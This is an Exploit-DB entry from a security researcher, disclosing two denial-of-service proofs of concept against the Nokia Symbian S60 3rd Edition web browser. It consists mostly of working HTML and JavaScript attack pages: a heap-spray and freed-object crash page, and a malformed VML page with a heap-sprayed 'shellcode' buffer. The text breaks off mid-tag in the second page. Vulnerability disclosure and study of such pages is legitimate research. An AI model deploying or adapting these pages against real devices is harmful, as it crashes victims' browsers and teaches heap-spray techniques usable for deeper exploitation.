Exploit-DB #11427
Description: Nokia Symbian OS 3rd Edition - Multiple Web Browser Vulnerabilities
Type: dos
Platform: hardware
Date: 2010-02-12
Author: Nishant Das Patnaik

Exploit:
My name is Nishant Das Patnaik, an independent security researcher from India. I have discovered multiple vulnerabilities in the Web Browser of the high end smartphones manufactured by Nokia running Symbian OS 3rd Edition. The detailed vulnerability disclosures along with tested PoCs have been documented separately, see below:

========================
Proof-of-Concept 0x01:
========================

	# Title: Nokia Symbian S60v3 WebBrowser Remote DoS PoC
	# Author: Nishant Das Patnaik
	# Date: 08/02/2010
	# Software Link: N/A
	# Version: Symbian S60 3rd Edition
	# Tested on: Nokia N95, Nokia N95 8GB, Nokia N73, Nokia E63
	# Impact: Attacker may exploit this flaw to make crash the browser of the victim or exhaust memory available to the browser.
	# Code:
	<html>
	<body>
	<script language="JavaScript">
	var size="%u03e8";
	var matrix = new Array();
	var slope = 0x100000-(size.length*2+0x01020);
	var bomb = unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000");
	while(bomb.length<slope/2) { bomb+=bomb;}
	var lh = bomb.substring(0,slope/2);
	delete bomb;
	for(i=0; i<0xC0; i++) {
	matrix[i] = lh + size;
	}
	CollectGarbage();
	var slope1=unescape("%u0b0b%u0b0b%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000AAAAAAAAAAAAAAAAAAAAAAAAA");
	var matrix1 = new Array();
	for(var x=0;x<1000;x++) matrix1.push(document.createElement("img"));
	function ready() {
	out1=document.createElement("tbody");
	out1.click;
	var out2 = out1.cloneNode();   
	out11.clearAttributes();
	out1=null; CollectGarbage();
	for(var x=0;x<matrix1.length;x++) matrix1[x].src=slope1;
	out2.click;
	}
	</script>
	<script>window.setTimeout("ready();",800);</script>
	<center><h1> Nokia Symbian S60v3 WebBrowser Remote DoS PoC</h1>
	<h2> (C) Nishant Das Patnaik </h2>
	</center>
	</body>
	</html>


========================
Proof-of-Concept 0x02:
========================

	# Title: Nokia Symbian S60v3 WebBrowser Malformed VML DoS
	# Author: Nishant Das Patnaik
	# Date: 08/02/2010
	# Software Link: N/A
	# Version: Symbian S60 3rd Edition
	# Tested on: Nokia N95, Nokia N95 8GB, Nokia N73, Nokia E63
	# Impact: Attacker may exploit this flaw to make crash the browser of the victim or exhaust memory available to the browser.
	# Code:
	<html xmlns:v="urn:schemas-microsoft-com:vml">
	<head>
	<object id="VMLRender"
	classid="CLSID:10072CEC-8CC1-11D1-986E-00A0C955B42E">
	</object>
	<style>
	v\:* { behavior: url(#VMLRender); }
	</style>
	</head>
	
	<body>
	
	<SCRIPT language="javascript">
	shellcode =
	unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000");
	
	bigblock = unescape("%u0000%u0000");
	headersize = 20;
	slackspace = headersize+shellcode.length;
	while (bigblock.length<slackspace) bigblock+=bigblock;
	fillblock = bigblock.substring(0, slackspace);
	block = bigblock.substring(0, bigblock.length-slackspace);
	while(block.length+slackspace<0x40000) block = block+block+fillblock;
	memory = new Array();
	for (i=0;i<350;i++) memory[i] = block + shellcode;
	
	</script>
	
	<v:rect style='width:120pt;height:80pt' fillcolor="red" >
	<v:recolorinfo recolorstate="t" numcolors="97612895">
	
	<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
	lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
	fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
	<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
	lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
	fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
	<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
	lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
	fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
	<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
	lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
	fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
	<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
	lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
	fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
	<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
	lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
	fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
	<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
	lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
	fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
	<v:reco